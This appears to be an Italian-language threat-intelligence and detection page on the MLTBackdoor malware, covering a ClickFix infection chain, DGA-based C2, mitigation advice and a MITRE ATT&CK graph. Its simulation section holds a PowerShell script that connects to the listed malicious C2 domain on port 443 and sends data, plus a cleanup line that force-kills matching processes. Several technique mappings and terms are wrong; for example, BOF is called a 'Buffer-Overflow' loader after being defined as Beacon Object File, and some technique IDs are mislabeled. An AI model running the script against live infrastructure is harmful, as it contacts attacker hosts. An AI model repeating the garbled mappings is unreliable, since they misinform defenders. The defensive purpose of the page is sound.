Analisi Tecnica di MLTBackdoor
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo
Zscaler ThreatLabz ha identificato una nuova famiglia di malware, MLTBackdoor, a maggio 2026. La minaccia viene distribuita tramite una catena di infezione ClickFix a più fasi e sembra essere utilizzata da operatori di ransomware per stabilire un accesso iniziale e supportare il movimento laterale. Il malware si basa su una forte offuscamento, un algoritmo di generazione di domini e un caricatore Beacon Object File (BOF) per ampliare le sue capacità dopo l’esecuzione. Le sue comunicazioni di rete sono criptate tramite TLS e sono progettate per assomigliare al traffico legittimo di Microsoft Delivery Optimization, aiutando l’attività a mescolarsi con il comportamento normale della rete.
Indagine
L’analisi ha seguito la catena di infezione fino a un conhost.exe wrapper che ha scaricato un archivio compresso da un dominio generato tramite la logica DGA del malware. All’interno di quell’archivio, endpointdlp.dll ha decriptato un payload criptato tramite RC4 che è stato quindi caricato come binario MLTBackdoor. I ricercatori hanno scoperto che il malware utilizza un’aritmetica booleana mista, un appiattimento del flusso di controllo, chiamate di sistema indirette e un protocollo di comunicazione criptato personalizzato per ostacolare l’analisi e il rilevamento. Il caricatore BOF incorporato consente anche agli operatori di eseguire ulteriori moduli in stile Cobalt Strike in memoria.
Mitigazione
I difensori dovrebbero bloccare i domini di comando e controllo identificati e monitorare i modelli DGA correlati. Il rilevamento dovrebbe concentrarsi anche sulla specifica stringa user-agent e sul traffico TLS diretto a /api/v1/telemetry sulla porta 443. I team di sicurezza dovrebbero osservare l’uso sospetto di conhost.exe con gli argomenti documentati e per la creazione di endpointdlp.dll in directory temporanee. I rilevamenti basati sul comportamento per l’hashing delle API e l’uso delle chiamate di sistema indirette possono migliorare ulteriormente la visibilità sull’attività di MLTBackdoor.
Risposta
Se viene rilevata attività di MLTBackdoor, isolare immediatamente l’endpoint interessato, terminare il processo malevolo e rimuovere qualsiasi file rilasciato nella directory Temp dall’initial loader. Gli investigatori dovrebbero quindi eseguire una revisione forense per moduli BOF aggiuntivi o payload successivi. Qualsiasi credenziale potenzialmente esposta dovrebbe essere reimpostata, e la caccia alla minaccia dovrebbe essere ampliata per identificare tentativi di movimento laterale utilizzando lo stesso artigianato.
"graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 %% Nodes step_a["<b>Tecnica</b> – <b>T1189 Compromissione tramite Drive-by</b>: L’avversario ospita contenuti malevoli che vengono distribuiti quando una vittima visita un sito web compromesso.<br/><b>Tecnica</b> – <b>T1204.001 Esecuzione Utente: Link Malevolo</b>: La vittima clicca su un link preparato che avvia l’esecuzione del payload."] class step_a action step_b["<b>Tecnica</b> – <b>T1659 Iniezione di Contenuto</b>: Codice malevolo è iniettato in pagine web legittime così che i visitatori ricevano il contenuto compromesso."] class step_b action step_c["<b>Tecnica</b> – <b>T1553.002 Esecuzione del Proxy per Binary Firmati (Defender)</b>: Uso di un binary di Microsoft Defender firmato per eseguire il proxy.<br/><b>Tecnica</b> – <b>T1574.001 Dirottamento del Flusso di Esecuzione: DLL Search Order Hijacking</b>: Carica codice malevolo manipolando l’ordine di risoluzione delle DLL.<br/><b>Tecnica</b> – <b>T1218 Esecuzione del Proxy per Binary Firmati</b>: Esegue payload attraverso binary firmati fidati."] class step_c action step_d["<b>Tecnica</b> – <b>T1027.007 File Obfuscated/Stored: Payload Embedded</b>: Il payload è offuscato utilizzando analisi binaria dei macro (MBA) e formato di file compresso (CFF) per eludere il rilevamento."] class step_d action step_e["<b>Tecnica</b> – <b>T1497.001 Evasione di Sandbox/Virtualizzazione: Controlli del Sistema</b>: Controlli per ambienti virtualizzati.<br/><b>Tecnica</b> – <b>T1497.003 Evasione di Sandbox/Virtualizzazione: Controlli di Tempo</b>: Utilizza controlli di temporizzazione per rilevare l’analisi.<br/><b>Tecnica</b> – <b>T1622 Evasione del Debugger</b>: Rileva la presenza di debugger e altera il comportamento."] class step_e action step_f["<b>Tecnica</b> – <b>T1568 Genera, Offusca, o Cambia un Nome di Dominio</b>: Genera numerosi nomi di domini per commandu2011andu2011control.<br/><b>Tecnica</b> – <b>T1104 Servizio Web (fallback C2)</b>: Utilizza un servizio web come canale di comunicazione di fallback."] class step_f action step_g["<b>Tecnica</b> – <b>T1090 Proxy</b>: Instrada il traffico C2 attraverso un proxy.<br/><b>Tecnica</b> – <b>T1205 Segnalazione del Traffico</b>: Codifica informazioni di segnalazione all’interno del traffico legittimo.<br/><b>Tecnica</b> – <b>T1001.003 Traffico di Rete Offuscato/Crittografato: Impersonificazione del Protocollo</b>: Si maschera come normale traffico TLS 443 con un useru2011agent falsificato."] class step_g action step_h["<b>Tecnica</b> – <b>T1105 Trasferimento dello Strumento di Ingress</b>: Trasferisce un payload di secondu2011stage all’host compromesso sulla rete."] class step_h action step_i["<b>Tecnica</b> – <b>T1546.006 Esecuzione Attivata da Evento: Dirottamento del Component Object Model (caricatore BOF)</b>: Carica ed esegue Beacon Object Files utilizzando un Bufferu2011Overflow (BOF) loader."] class step_i malware %% Connections step_a –>|leads_to| step_b step_b –>|leads_to| step_c step_c –>|leads_to| step_d step_d –>|leads_to| step_e step_e –>|leads_to| step_f step_f –>|leads_to| step_g step_g –>|leads_to| step_h step_h –>|leads_to| step_i "
Flusso di Attacco
Rilevazioni
Utility di Compressione Passata in Directory Insolita (tramite cmdline)
Proof of Value
LOLBAS Conhost (tramite cmdline)
Proof of Value
Uso Sospetto di CURL (tramite cmdline)
Proof of Value
IOCs (HashSha256) per rilevare: Analisi Tecnica di MLTBackdoor Parte 2
Proof of Value
IOCs (HashSha256) per rilevare: Analisi Tecnica di MLTBackdoor Parte 1
Proof of Value
Rileva Comunicazioni di Rete MLTBackdoor [Connessione di Rete di Windows]
Proof of Value
Esecuzione della Catena di Infezione MLTBackdoor [Creazione di Processo di Windows]
Proof of Value
Esecuzione della Simulazione
Prerequisito: Il Controllo Prevolo di Telemetria & Baseline deve essere superato.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e puntare a generare esattamente la telemetria attesa dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.
-
Narrazione & Comandi dell’Attacco:
- Ricognizione – Risolvi il dominio DGA – Il backdoor genera una query DNS per
hrs2y15sungu.com, un dominio prodotto dal suo DGA interno. - Contatto C2 – Apri un socket TCP – Usando PowerShell, l’avversario crea una connessione TCP grezza verso l’IP risolto sulla porta 443 (HTTPS) per mescolarsi con il traffico normale.
- Recupero del Payload (T1105) – Sullo stesso socket il backdoor estrarrebbe moduli aggiuntivi; per il test inviamo semplicemente una stringa innocua.
Questi passaggi emettono un record di Sysmon Event ID 3 con
DestinationHostname = hrs2y15sungu.com, soddisfacendo la regola Sigma’sselezionecondizione. - Ricognizione – Risolvi il dominio DGA – Il backdoor genera una query DNS per
-
Script di Test di Regressione:
# TC-20260610-A7B3Z – Simula comunicazione C2 di MLTBackdoor # ------------------------------------------------------- # 1. Risolvi il dominio malevolo (output DGA simulato) $malDomain = "hrs2y15sungu.com" try { $ip = [System.Net.Dns]::GetHostAddresses($malDomain)[0].IPAddressToString } catch { Write-Error "Impossibile risolvere $malDomain – abortendo il test." exit 1 } # 2. Apri una connessione TCP verso l'IP risolto sulla porta 443 $port = 443 $client = New-Object System.Net.Sockets.TcpClient $client.Connect($ip, $port) # 3. Invia un payload innocuo (simulando l'estrazione del modulo) $stream = $client.GetStream() $payload = [System.Text.Encoding]::ASCII.GetBytes("TEST_PAYLOAD") $stream.Write($payload, 0, $payload.Length) # 4. Mantieni la connessione attiva brevemente per garantire la generazione del log Start-Sleep -Seconds 5 # 5. Pulizia $stream.Close() $client.Close() Write-Output "Simulazione completata – connessione a $malDomain ($ip:$port) chiusa." -
Comandi di Pulizia:
# Assicurati che non rimangano socket in sospeso (nel caso in cui lo script si sia interrotto) Get-NetTCPConnection -RemotePort 443 | Where-Object { $_.RemoteAddress -eq (Resolve-DnsName hrs2y15sungu.com).IPAddress } | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }